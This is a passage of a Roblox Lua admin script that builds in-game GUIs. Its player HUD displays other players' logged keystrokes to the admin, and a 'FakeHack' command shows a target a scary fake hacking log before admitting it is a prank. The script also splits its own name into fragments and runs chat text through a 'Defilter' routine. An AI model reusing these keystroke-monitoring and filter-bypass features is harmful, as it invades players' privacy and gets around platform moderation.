4546 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4547
4548 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4549 if SG then SG:Destroy() end
4550 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4551
4552 local function AddHUD(Player, Char)
4553 if not Char or not Char:FindFirstChild("Head") then return nil end
4554
4555 local Rank = RANK:GetRank(Player)
4556 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4557 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4558 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4559 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4560 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4561 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4562 InfoLabel.Text = "Name: "..Player.Name..[[
4563Rank: ]]..RANK:GetRank(Player)..[[
4564Age: ]]..STRING:FindAge(Player.AccountAge)
4565 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4566 InfoLabel.Text = InfoLabel.Text..[[
4567Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4568 end
4569 if LastKeys[Player.UserId] then
4570 local Keys = ""
4571 local KeyLog = {}
4572 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4573 table.insert(KeyLog, KeyData[1])
4574 if KeyData[2] == 8 then
4575 Keys = string.sub(Keys, 1, #Keys - 1)
4576 elseif KeyData[2] == 13 then
4577 Keys = Keys.." "
4578 else
4579 Keys = Keys..string.char(KeyData[2])
4580 end
4581 end
4582 KeyLabel.Text = table.concat(KeyLog, "\n")
4583 KeyOutput.Text = Keys
4584 end
4585 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4586 end end)()
4587
4588 local CharRev,Removing = nil,nil
4589 CharRev = Player.CharacterRemoving:connect(function()
4590 PlayerHUD:Destroy()
4591 CharRev:disconnect()
4592 Removing:disconnect()
4593 end)
4594 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4595 PlayerHUD:Destroy()
4596 CharRev:disconnect()
4597 Removing:disconnect()
4598 end end)
4599 end
4600
4601 local function ConnectHUD(Player)
4602 if Player ~= Speaker then
4603 if Player.Character then
4604 AddHUD(Player, Player.Character)
4605 end
4606
4607 Player.CharacterAdded:connect(function(Char)
4608 if Speaker then
4609 AddHUD(Player, Char)
4610 else return nil
4611 end
4612 end)
4613 end
4614 end
4615
4616 for _,Player in pairs(Server.Players:GetPlayers()) do
4617 ConnectHUD(Player)
4618 end
4619
4620 Server.Players.PlayerAdded:connect(ConnectHUD)
4621end
4622
4623function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4624 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4625 local Stopped = false
4626
4627 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4628 Frame.Size = UDim2.new(1, 0, 1, -30)
4629 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4630
4631 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4632 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4633 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4634
4635 local function AddLine(Speaker, MessageText, MessageColor)
4636 MessageText = STRING:Defilter(MessageText)
4637 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4638 if not MessageColor then MessageColor = GUI:ContrastColor() end
4639 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4640 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4641 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4642 Bounds.Parent = Frame
4643 end
4644
4645 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4646
4647 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4648 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4649 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4650
4651 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4652 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4653
4654 CORE:ExecuteResource("MessagePromptHandler", Frame)
4655
4656 wait(0.1)
4657
4658 if PreAdd then
4659 for Num,Add in pairs(PreAdd) do
4660 AddLine(Add[1], Add[2], Add[3])
4661 end
4662 end
4663
4664 --[[
4665 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4666
4667 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4668 if ChatBox.Text == "Click here or press the '-' key" then
4669 ChatBox.Text = ""
4670 end
4671 end)
4672 ]]
4673
4674 local function FireSendPressed()
4675 local Text = CORE:ReadProperty(RPR, Player, "Text")
4676 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4677 SendPressed:Fire(Text)
4678 FakeCB.Visible = true
4679 ClearCB:InvokeClient(Player)
4680 end
4681 end
4682
4683 Closed.Event:connect(function()
4684 if Stopped == false then
4685 Stopped = true
4686 if SpeakerEvents then SpeakerEvents("Leave") end
4687 end
4688 end)
4689
4690 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4691 EnterPressed.OnServerInvoke = FireSendPressed
4692 AddMessage.OnInvoke = AddLine
4693
4694 if SpeakerEvents then
4695 SpeakerEvents("Join")
4696
4697 coroutine.wrap(function()
4698 repeat wait() until not Frame or not Frame.Parent
4699 if Stopped == false then
4700 Stopped = true
4701 SpeakerEvents("Leave")
4702 end
4703 end)()
4704 end
4705
4706 return SendPressed, AddMessage
4707end
4708
4709function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons)
4710 if tonumber(Time) then ShowFormButtons = false end
4711 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4712 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4713 local Clicked = nil
4714 local Alive = true
4715
4716 local function ClosePrompt(ButtonName)
4717 Alive = false
4718 Close:Invoke()
4719 Clicked = ButtonName
4720 end
4721
4722 for Num,Select in pairs(Buttons) do
4723 local Name = Select
4724 local Style = "White"
4725 local TextColor3 = Color3.new(0,0,0)
4726 if type(Select) == "table" then
4727 Name = Select[1]
4728 if Select[2] then Style = Select[2] end
4729 if Select[3] then TextColor3 = Select[3] end
4730 elseif type(Select) == "string" then
4731 local Case = string.lower(Select)
4732 if Case == "ok" then
4733 Name = "Ok"
4734 Style = "Primary"
4735 TextColor3 = Color3.new(1,1,1)
4736 elseif Case == "yes" then
4737 Name = "Yes"
4738 Style = "Gray"
4739 TextColor3 = Color3.new(0,1,0)
4740 elseif Case == "no" then
4741 Name = "No"
4742 Style = "Red"
4743 TextColor3 = Color3.new(1,0,0)
4744 end
4745 end
4746
4747 if Style == "None" then Style = "Custom" end
4748 if Style == "Casual" then Style = "RobloxButton" end
4749 if Style == "Red" then Style = "RobloxButtonDefault" end
4750 if Style == "Gray" then Style = "RobloxRoundButton" end
4751 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4752 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4753
4754 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4755 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4756 SOUND:BindButton(Button)
4757 end
4758
4759 if tonumber(Time) then
4760 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4761 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4762 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4763
4764 for i = Time,0,-1 do
4765 for ii = 1,10 do
4766 if Alive == true then
4767 Ticker.Text = i
4768 wait(0.1)
4769 else
4770 break
4771 end
4772 end
4773 end
4774 if Alive == true then
4775 ClosePrompt()
4776 end
4777 end
4778
4779 repeat wait() until Alive == false
4780 return Clicked
4781end
4782
4783function GUI:Vote(Speaker, Players, Text, Time)
4784 if not Players or not Text or #Players <= 0 then return end
4785
4786 Text = STRING:Defilter(Text)
4787 local Votes = {}
4788 local Tick = 0
4789
4790 for _,Player in pairs(Players) do
4791 local CanVote = true
4792 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4793 if CanVote == true then
4794 coroutine.wrap(function()
4795 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, 34730262, {"Yes", "No"}, Time)
4796 if Answer == nil then Answer = "Unknown" end
4797 table.insert(Votes, Answer)
4798 end)()
4799 end
4800 end
4801 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4802 wait(2)
4803 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4804 local Total = #Players
4805 local Yes,No,Unknown = 0,0,0
4806 for _,Vote in pairs(Votes) do
4807 if Vote == "Yes" then Yes = Yes + 1
4808 elseif Vote == "No" then No = No + 1
4809 end
4810 end
4811 Unknown = #Players - #Votes
4812
4813 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4814 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4815 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4816]]..Yes.."/"..Total..[[
4817]]..math.ceil((Yes/Total)*100).."% "
4818 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4819]]..No.."/"..Total..[[
4820]]..math.ceil((No/Total)*100).."% "
4821 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4822]]..Unknown.."/"..Total..[[
4823]]..math.ceil((Unknown/Total)*100).."% "
4824 end
4825end
4826
4827function GUI:LoadGui(Player, Text, InfoText)
4828 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4829 local Dead = false
4830
4831 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4832 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4833 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4834 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4835 if InfoText then Info.Text = InfoText end
4836
4837 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4838 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4839
4840 CloseGui.OnInvoke = function()
4841 Close:Invoke()
4842 Dead = true
4843 end
4844 AddInfo.OnInvoke = function(AddText)
4845 Info.Text = AddText
4846 end
4847
4848 coroutine.wrap(function()
4849 for i = 0,math.huge,3 do
4850 if Dead == false and Frame then
4851 WaitIcon.Rotation = i
4852 wait()
4853 else
4854 break
4855 end
4856 end
4857 end)()
4858
4859 coroutine.wrap(function()
4860 while Dead == false and Frame do
4861 wait(0.5)
4862 LoadLabel.Text = Text.."."
4863 wait(0.5)
4864 LoadLabel.Text = Text..".."
4865 wait(0.5)
4866 LoadLabel.Text = Text.."..."
4867 wait(0.5)
4868 LoadLabel.Text = Text..".."
4869 wait(0.5)
4870 LoadLabel.Text = Text.."."
4871 wait(0.5)
4872 LoadLabel.Text = Text
4873 end
4874 end)()
4875
4876 wait(1)
4877
4878 return CloseGui, AddInfo
4879end
4880
4881function GUI:FakeHack(Player) coroutine.wrap(function()
4882 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4883 local FakeText = [[
4884>SHELL: BEGIN
4885>RUNCODE:
4886return {
4887 local Hack = {"Account", "Tix", "Robux"};
4888 function Start(Type, Inject, Scan)
4889 if not Inject then Inject = "In-Game" end
4890 return {Type, Inject, Scan}
4891 end
4892 for Exe,Exploit in pairs(Hack) do
4893 local IP = Start("In-Game",Exploit,
4894 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4895 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4896 )
4897 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4898 for i = 1,#Injection[2] do
4899 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4900 end
4901 local PlayerProxy = newproxy(true)
4902 setmetatable(PlayerProxy,Injection[3],{
4903 __index = function(StealData, ...) local Data = unpack(...)
4904 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4905 end;
4906 })
4907 end
4908 Log("HACKED HOST: PLAYERNAME")
4909}
4910>HACKED HOST: PLAYERNAME
4911
4912]]
4913 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
4914 if SG then SG:Destroy() end
4915 SG = Instance.new("ScreenGui", Player.PlayerGui)
4916 SG.Name = "MML Hack Gui"
4917 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
4918 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
4919 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
4920 for i = 1,#FakeText do
4921 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
4922 if math.random(1,5) == 1 then
4923 wait()
4924 end
4925 end
4926 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
4927 wait(3)
4928 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
4929fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
4930 X.Visible = true
4931end)() end
4932
4933function GUI:CommandBar(Player)
4934 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4935
4936 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
4937 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
4938 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
4939 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
4940
4941 local _,Rank = RANK:GetRank(Player)
4942 local UsableCommands = {}
4943 for CommandNames,Data in pairs(Commands) do
4944 if not Data.Hidden then
4945 if RANK:ConvertRank(Data[4]) <= Rank then
4946 for _,Command in pairs(CommandNames) do
4947 table.insert(UsableCommands, {Command, Data[3]})
4948 end
4949 end
4950 end
4951 end
4952
4953 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
4954
4955 local function ExecuteText()
4956 local Text = CORE:ReadProperty(RPR, Player, "Text")
4957 CORE:Chatted(Text, Player, true)
4958 CommandBox.Text = "Enter a command here"
4959 end
4960
4961 local function AddSuggestion(Text)
4962 if Text == nil then Text = Settings.Prefix end
4963 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
4964 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
4965 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
4966 if Text == Settings.Prefix then
4967 CommandBox.Text = Settings.Prefix
4968 else
4969 CommandBox.Text = Settings.Prefix..Text
4970 end
4971 CORE:ExecuteResource("Focus", CommandBox)
4972 end, true)
4973 end
4974
4975 CORE:HandleEvent(CommandBox, "MouseEnter", function()
4976 if CommandBox.Text == "Enter a command here" then
4977 CommandBox.Text = ""
4978 end
4979 end)
4980
4981 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
4982 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
4983
4984 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
4985 EnterPressed.OnServerInvoke = ExecuteText
4986
4987 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
4988 Suggest.CanvasSize = UDim2.new(0,0,0,0)
4989 Suggest:ClearAllChildren()
4990 local Text = CORE:ReadProperty(RPR, Player, "Text")
4991 if Text == "" then
4992 AddSuggestion(Settings.Prefix)
4993 end
4994
4995 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
4996 Text = string.sub(Text,#Settings.Prefix+1)
4997 end
4998 for _,Data in pairs(UsableCommands) do
4999 local Command,Args = Data[1],Data[2]
5000 if string.find(string.lower(Command),string.lower(Text)) then
5001 local NewSuggestion = Command
5002 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5003 AddSuggestion(NewSuggestion)
5004 end
5005 end
5006
5007 end end)
5008end
5009
5010function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5011 if not Player or not AllSeconds then return nil end
5012 AllSeconds = tonumber(AllSeconds)
5013 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5014 AllSeconds = math.floor(AllSeconds)
5015 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5016 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5017 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5018 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5019 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5020 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5021
5022 local CurrentSeconds = AllSeconds
5023 local Alive = true
5024 coroutine.wrap(function() for i = 0,AllSeconds do
5025 if not Alive then break end
5026 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5027 local Minutes = tostring(math.floor(CurrentSeconds/60))
5028 if #Seconds == 1 then Seconds = "0"..Seconds end
5029 if #Minutes == 1 then Minutes = "0"..Minutes end
5030 Time.Text = Minutes..":"..Seconds
5031 wait(1)
5032 if CurrentSeconds <= 0 then
5033 Alarm:Play()
5034 Time.Text = "00:00"
5035 Part.Size = UDim2.new(1,0,1,0)
5036 Restore:Invoke()
5037 wait(4)
5038 Close:Invoke()
5039 break
5040 else
5041 Tick:Play()
5042 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5043 CurrentSeconds = CurrentSeconds - 1
5044 end
5045 end end)()
5046
5047 Closed.Event:connect(function()
5048 if Alive == true then
5049 Alive = false
5050 Tick:Stop()
5051 Alarm:Stop()
5052 end
5053 end)
5054end)() end
5055
5056function GUI:DetachChat(Player)
5057 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5058 if Player:FindFirstChild("DetachChatMML") then
5059 Player.DetachChatMML:Invoke(true)
5060 wait()
5061 Player.DetachChatMML:Destroy()
5062 end
5063
5064 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5065 local SG = Frame.Parent.Parent.Parent
5066
5067 local DCBF = Instance.new("BindableFunction", Player)
5068 DCBF.Name = "DetachChatMML"
5069 DCBF.OnInvoke = function(Remove)
5070 if Remove then
5071 SG:Destroy()
5072 end
5073 end
5074 CORE:ExecuteResource("CoreChat", SG)
5075
5076 local IsClosed = false
5077 Closed.Event:connect(function()
5078 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5079 IsClosed = true
5080 end)
5081
5082 coroutine.wrap(function()
5083 Player.CharacterRemoving:wait()
5084 if not IsClosed then
5085 IsClosed = true
5086 wait(1)
5087 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5088 end
5089 end)()
5090end
5091
5092function GUI:SendChat(Player, Data) coroutine.wrap(function()
5093 if not Player then return nil end
5094 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5095
5096 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5097end)() end
5098
5099function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5100 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5101 if not SoundID then SoundID = SoundInfo["ID"] end
5102 if not TitleText then TitleText = SoundInfo["Name"] end
5103 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5104 if not InputSound then InputSound = Sound end
5105
5106 local NumSounds = 0
5107 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5108 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
